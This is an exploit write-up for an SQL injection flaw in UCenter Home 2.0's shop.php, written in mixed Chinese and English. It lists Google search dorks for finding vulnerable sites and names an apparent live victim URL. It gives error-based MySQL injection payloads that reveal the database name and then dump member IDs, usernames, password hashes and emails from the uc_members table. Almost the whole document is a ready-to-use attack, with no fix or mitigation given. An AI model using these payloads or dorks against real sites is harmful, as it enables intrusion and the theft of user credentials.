作者: KnocKout
邮箱: knockoutr@msn.com
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
漏洞程序: UCenter Home
版本 : 2.0
官方网站 : http://u.discuz.net/
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
GOOGLEHACK1 : Powered by UCenter inurl:shop.php?ac=view
GOOGLEHACK2 : inurl:shop.php?ac=view&shopid=
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
漏洞文件: Shop.php
value's : (?)ac=view&shopid=
Vulnerable Style : SQL Injection (MySQL Error Based)
Need Metarials : Hex Conversion
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Your Need victim Database name.
for Inject : http://www.chnlanker.com/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
DB : Okey.
your edit DB `[TARGET DB NAME]`
Example : 'hiwir1_ucenter'
Edit : Okey.
使用十六进制转变SQL注入值
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 |